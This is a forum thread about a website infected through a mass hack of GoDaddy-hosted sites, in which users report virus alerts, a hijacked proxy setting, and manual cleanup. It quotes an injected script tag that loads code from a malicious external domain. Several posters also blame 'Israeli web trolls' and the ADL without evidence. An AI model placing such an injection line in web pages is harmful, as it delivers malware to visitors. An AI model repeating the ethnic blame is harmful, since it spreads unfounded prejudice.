TFC Hacked - Virus alert

[Ognir]

Can anyone verify this

Go to iamthewitness
click on Audio
using firefox and I'm getting a virus/trojan alert

[Ognir]

http://ddanchev.blogspot.com/2010/04/go ... blogs.html

EDIT

Can't get hold of Daryl

http://blog.sucuri.net/2010/05/second-r ... acked.html

It seems that a second round of attacks are happening today at GoDaddy and infecting all kind of sites (Joomla, Wordress,etc). Looking at the modification dates on the files, they all happened May 1st (today) during the morning from 1 to 3/4 am.

All of them had the following javascript added to their pages:

    < script src="http://kdjkfjskdfjlskdjf.com/kp.php">

Which looks very similar to the attacks from the last few weeks, but this time using kp.php instead of js.php. Also, many sites that were not infected during the previous batch got hacked now.

This is how this kb.php file looks like:

[Travis]

Shit. No one click on it, it just downloaded some crap on my computer, full virus scan now! Fucking parasites, I guess they think they are pretty funny, but let us see who will be laughing in the end.

[Ognir]

Yep good old GoDaddy

I checked out the site, infected all over the feckin place

Good way to have your site removed from the Google index

[Ognir]

I cleaned the site manually, should be ok for the moment but the problem is with the Godaddy server

[abduLMaria]

I cleaned the site manually, should be ok for the moment but the problem is with the Godaddy server

is there any merit - from a security point of view - to using their domain forwarding and hosting a website somewhere else ?

obviously it depends who you host it with & how easily swayed they are when the ADL tries to use their contacts at ICANN to get a website censored.

i mention this because GoDaddy offers the DomainsByProxy service, which serves as the point of contact for a lot of controversial websites.  a natural home-base for the Israeli web trolls to attack.

[Ognir]

Daryl was to call Godaddy but a move is likely I'd presume

[maz]

Shit. No one click on it, it just downloaded some crap on my computer, full virus scan now! Fucking parasites, I guess they think they are pretty funny, but let us see who will be laughing in the end.

Yesterday I checked I Am The Witness' audio files from a remote computer, not my own, and I got a pop up warning not to continue, but I control alt-del it. Will that computer I used have a virus in it?

[Anonymous]

It has been fixed, there is no longer a risk!

[Ognir]

It has been fixed, there is no longer a risk!

so what did Godaddy say? Never happen again that we'd allow 000's of Servers to be infected and charge you $150 to get a clean backup copy

[Tomas O'Crohan]

I was on TFC last night and clicked on an article on the right hand side of the page and when the link came up I got one of those "security alert" viruses. Eventually some porn came up as well, meaning, no doubt, this was an Israeli-based virus. It's probably just that link and not the whole site is my guess because I didn't have any problems on the site until hitting that particular link. I wish I could remember which link it was. Since I've just now got the problem resolved I'm little hestitant to go back on the site right now. After running various virus scans multiple times it looks like the virus has been removed but I still couldn't connect to the internet even though I verified that the connection was sound. After poking around for hours (someone with greater skill could have done it much more quickly no doubt) it seems that the virus changed the LAN settings to designate use of a proxy server (127.0.0.1 assigning port 5555). When I unclicked the "use proxy server" box, the internet connection became available again.

This is just a heads up. Has anyone else had this problem?

[Ognir]

do you remember the page?
email it to me please

ognir2 at gmail

[Travis]

Similar thing happened to me about 4 days ago when I clicked on 'audio files'

I wonder who is responsible?